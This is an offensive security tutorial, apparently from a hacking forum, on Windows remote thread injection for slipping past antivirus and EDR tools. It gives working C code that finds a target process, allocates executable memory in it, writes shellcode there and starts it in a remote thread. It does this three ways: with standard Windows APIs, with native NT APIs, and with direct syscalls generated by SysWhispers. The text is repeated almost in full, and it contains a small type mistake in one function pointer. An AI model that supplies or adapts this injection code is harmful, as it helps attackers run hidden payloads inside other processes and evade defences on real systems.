31-10-25, 10:45 PM
In Every Red Team Operation, the goal of the Team is to Stay Stealthy and hide campaign operation from the blue team. From getting the initial access to hiding the C2 connections and exfiltrating data, they use various techniques and procedures to do that. The first step of every campaign is to get initial access. They use customized malware and payloads to circumvent and evade defending tools such as AVs and EDRs.
Process Injection is one of the techniques that is used to evade the defense mechanism. Remote Thread Injection (aka CreateRemoteThread) is one of the simple and reliable sub technique. it works by injecting the shellcode (payload) into the context of another eligible process and creates a thread for that process to run the payload.
figure 1
We implement remote thread injection using standard Windows APIs, native APIs, and direct syscalls. each of these implementations has its own pros and cons. the following picture shows how standard windows APIs, Native APIs, and direct syscalls work in windows architecture.
figure 2
Standard Windows APIs
pros:
that gets a process name and it uses CreateToolhelp32Snapshot API to get the list of current processes and uses Process32First and Process32Next to go through them one by one and compare the name of the processes with our target process. Process32First and Process32Next APIs get a pointer to PROCESSENTRY32 struct that could hold information about processes like its name and id. If it succeeds to find the process it returns its process ID.
for the next step, we need to open our target process using the OpenProcess function. We pass our parameters including the target process id that we get from the previous step and it returns a handle to that process.
now we need to allocate space for our shellcode in the target process using the VirtualAllocEx function. we should allocate this space with PAGE_EXECUTE_READWRITE (Read, Write, Execute) permission. this function returns the base address of the allocated region.
now we should write our shellcode into our allocated memory region using the WriteProcessMemory function.
after all, it’s time to create a thread in the target process and run the shellcode that we previously wrote into a memory page. we use the CreateRemoteThread function. we should also pass 0 as the dwCreationFlags parameter to run the thread immediately after creation.
to compile the code in kali, we use MinGW.
we send the output to our windows machine and run it. if we open process hacker and take a look at the notepad.exe process. in the memory section there is only one memory page with RWX permission which is suspicious. if we open it we can see our shellcode inside it.
![[Image: 63d7f5698bdd6f170bdafd8e2042556489cdbb85_2_501x500.png]](https://0x00sec.org/0x00sec.s3.amazonaws.com/optimized/3X/6/3/63d7f5698bdd6f170bdafd8e2042556489cdbb85_2_501x500.png)
process-hacker-notepad1436×1431 334 KB
image 1
Native API
pros:
Native APIs are also called undocumented APIs because you can’t usually find official documentats to use them. we can find a way of using them mostly by seeing other people’s code, unofficial documents, or researching around them to see how they work. most of these APIs names start with Nt or Zw.
In the previous section, we used standard APIs to do our job. here we go one layer deeper and use native APIs. we have a couple of more steps to use NTAPIS. for using Native APIs. first, we need to load the ntdll.dll into our malware process. then we should define function pointers with the exact same format as the original function that we want to use, and export the base address of these functions to initialize these pointers.
for loading ntdll.dll or any other dll dynamically into our running process, we use the LoadLibraryW function and it returns a handle to that library.
then we define our function pointer type and get the base address of the function using the GetProcAddress function and assign it to the pointer. here is the example for NtOpenProcess.
as you can see we defined our function type with the same parameters as the NtOpenProcess function. you should do this for all NtWriteVirtualMemory , NtAllocateVirtualMemory , NtCreateThreadEx functions. for finding the parameter and structure of an undocumented api you can use http://undocumented.ntinternals.net/. but you may not find all the function definitions in it. you can search for it and see other people’s codes or even looking inside the ntdll.dll library to see how it exactly works.
NtOpenProcess
like the previous section, we start by opening our target process but this time using NtOpenProcess. this function does not return a Handle to our target process but we need to pass a handle pointer as the first argument(pass by reference). we should also pass a pointer to an OBJECT_ATTRIBUTES structure and a pointer to Client ID struct so let’s define them. we should also initialize OBJECT_ATTRIBUTES using InitializeObjectAttributes macro and define UNICODE_STRING struct.
now we can use NtOpenProcess
NtAllocateVirtualMemory
we allocate memory in target process using the NtAllocateVirtualMemory function. we define the function prototype.
then we get the base address of the function.
and we call it
we passed a void pointer named remote_process_buffer that will be the base address of the allocated space.
NtWriteVirtualMemory
we define NtWriteVirtualMemory function prototype like previous steps. we should pass our shellcode, the length of the shellcode, and the base address of the allocated space as arguments.
NtCreateThreadEx
now it’s time to create a thread in our target process and run our shellcode. we use NtCreateThreadEx to create a remote thread in the target process and run our shellcode. we should pass 0 as the CreateFlag parameter to run the thread immediately after creation and 0x1FFFFF (PROCESS_ALL_ACCESS) as the DesiredAccess parameter. to see the function prototype, you can look here.
that’s it for Native APIs. let’s go one step deeper and use syscalls.
Direct Syscalls
pros:
One of the disadvantages of using syscalls is that their work is dependent on the version of OS and our code may not work on different windows versions. However, by using a great tool like SysWhisper we can generate syscalls for different windows versions. you can run the following command to generate syscalls for our desired functions for windows 10.
this command generates two output files syscall.asm and syscall.h that we add to our visual studio project. then we should enable MASM in the project and include the header file in our main code.
afterward using the functions is like Native APIs but here we don’t need to load ntdll.dll, get the base address of the functions, and defining function prototypes. I think SysWhisper has made it really easy to utilize syscalls.
Process Injection is one of the techniques that is used to evade the defense mechanism. Remote Thread Injection (aka CreateRemoteThread) is one of the simple and reliable sub technique. it works by injecting the shellcode (payload) into the context of another eligible process and creates a thread for that process to run the payload.
Code:
+-------------------+ +-------------------+
| | | |
| | | |
| Notepad Process | | Malware Process |
| | | |
| | 1 allocating space | |
|-------------------| <-------------------------------------- | |
| shellcode | | |
| | 2 writing shellcode | |
+-------------------+ <-------------------------------------- +-------------------+
^ |
| |
| |
| |
v 3 creating a remote thread to run shellcode |
+---------+ |
| | <------------------------------------------------+
| thread |
| |
+---------+
We implement remote thread injection using standard Windows APIs, native APIs, and direct syscalls. each of these implementations has its own pros and cons. the following picture shows how standard windows APIs, Native APIs, and direct syscalls work in windows architecture.
Code:
+------------------------------+
| |
+-----------| Application Process |----------------+
| | | |
| +------------------------------+ |
| | |
| | |
| | |
| | Standard Windows API |
| | |
| | |
| v |
| +------------------------------+ |
| | | |
Native API | | kernel32.dll | |
| | | |
| +------------------------------+ | Direct Syscalls
| | |
| | |
| | |
| | |
| | |
| | |
| v |
| +------------------------------+ |
| | | |
+---------> | Ntdll.dll | |
| | |
User-Mode +------------------------------+ |
| |
| |
-------------------------------------------------|-------------------------------|-----------------
| |
| |
Kernel-Mode | |
+---------------v--------------+ |
| | |
| ntoskrnl.exe | <--------------+
| |
+------------------------------+ Standard Windows APIs
pros:
- easy to use
- detectable by most AV/EDRs
Code:
find_processCode:
DWORD find_process(char *process_name){
PROCESSENTRY32 process_entry;
process_entry.dwSize = sizeof(PROCESSENTRY32);
//get the list of processes
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
//check processes to find TARGET_PROCESS_NAME
if (Process32First(snapshot, &process_entry) == TRUE){
while (Process32Next(snapshot, &process_entry) == TRUE){
if (stricmp(process_entry.szExeFile, process_name) == 0){
CloseHandle(snapshot);
return process_entry.th32ProcessID;
}
}
}
CloseHandle(snapshot);
return 0;
}Code:
HANDLE target_process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_process_id);Code:
LPVOID remote_process_buffer = VirtualAllocEx(target_process_handle, NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);Code:
WriteProcessMemory(target_process_handle, remote_process_buffer, buf, sizeof(buf), NULL);Code:
CreateRemoteThread(target_process_handle, NULL, 0,(LPTHREAD_START_ROUTINE) remote_process_buffer,NULL,0, NULL);Code:
x86_64-w64-mingw32-gcc main.c -o rti.exe![[Image: 63d7f5698bdd6f170bdafd8e2042556489cdbb85_2_501x500.png]](https://0x00sec.org/0x00sec.s3.amazonaws.com/optimized/3X/6/3/63d7f5698bdd6f170bdafd8e2042556489cdbb85_2_501x500.png)
process-hacker-notepad1436×1431 334 KB
image 1
Native API
pros:
- bypass some of the AV/EDRs
- hard to use
- still detectable by most AV/EDRs
- may not work on all windows versions
Native APIs are also called undocumented APIs because you can’t usually find official documentats to use them. we can find a way of using them mostly by seeing other people’s code, unofficial documents, or researching around them to see how they work. most of these APIs names start with Nt or Zw.
In the previous section, we used standard APIs to do our job. here we go one layer deeper and use native APIs. we have a couple of more steps to use NTAPIS. for using Native APIs. first, we need to load the ntdll.dll into our malware process. then we should define function pointers with the exact same format as the original function that we want to use, and export the base address of these functions to initialize these pointers.
for loading ntdll.dll or any other dll dynamically into our running process, we use the LoadLibraryW function and it returns a handle to that library.
Code:
HMODULE hNtdll = LoadLibraryW(L"ntdll");Code:
typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID);
pNtOpenProcess NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");NtOpenProcess
like the previous section, we start by opening our target process but this time using NtOpenProcess. this function does not return a Handle to our target process but we need to pass a handle pointer as the first argument(pass by reference). we should also pass a pointer to an OBJECT_ATTRIBUTES structure and a pointer to Client ID struct so let’s define them. we should also initialize OBJECT_ATTRIBUTES using InitializeObjectAttributes macro and define UNICODE_STRING struct.
Code:
#define InitializeObjectAttributes(p,n,a,r,s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = (r); \
(p)->Attributes = (a); \
(p)->ObjectName = (n); \
(p)->SecurityDescriptor = (s); \
(p)->SecurityQualityOfService = NULL; \
}
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ;
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, NULL,0,NULL,NULL);
CLIENT_ID ci = { (HANDLE)procid, NULL };Code:
NtOpenProcess(&target_process_handle,PROCESS_ALL_ACCESS, &oa, &ci);we allocate memory in target process using the NtAllocateVirtualMemory function. we define the function prototype.
Code:
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);Code:
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");Code:
NtAllocateVirtualMemory(target_process_handle, &remote_process_buffer, 0,&buf_len ,MEM_COMMIT, PAGE_EXECUTE_READWRITE);NtWriteVirtualMemory
we define NtWriteVirtualMemory function prototype like previous steps. we should pass our shellcode, the length of the shellcode, and the base address of the allocated space as arguments.
Code:
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL);
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
NtWriteVirtualMemory(target_process_handle, remote_process_buffer, buf, buf_len, NULL);now it’s time to create a thread in our target process and run our shellcode. we use NtCreateThreadEx to create a remote thread in the target process and run our shellcode. we should pass 0 as the CreateFlag parameter to run the thread immediately after creation and 0x1FFFFF (PROCESS_ALL_ACCESS) as the DesiredAccess parameter. to see the function prototype, you can look here.
Code:
NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, target_process_handle,(LPTHREAD_START_ROUTINE)remote_process_buffer,NULL, FALSE, NULL, NULL, NULL, NULL);Direct Syscalls
pros:
- undetectable by all of the API monitoring tools that work on user-space
- May not work on all windows versions
- hard to use
One of the disadvantages of using syscalls is that their work is dependent on the version of OS and our code may not work on different windows versions. However, by using a great tool like SysWhisper we can generate syscalls for different windows versions. you can run the following command to generate syscalls for our desired functions for windows 10.
Code:
syswhispers.py --function NtCreateProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscall --versions 10afterward using the functions is like Native APIs but here we don’t need to load ntdll.dll, get the base address of the functions, and defining function prototypes. I think SysWhisper has made it really easy to utilize syscalls.
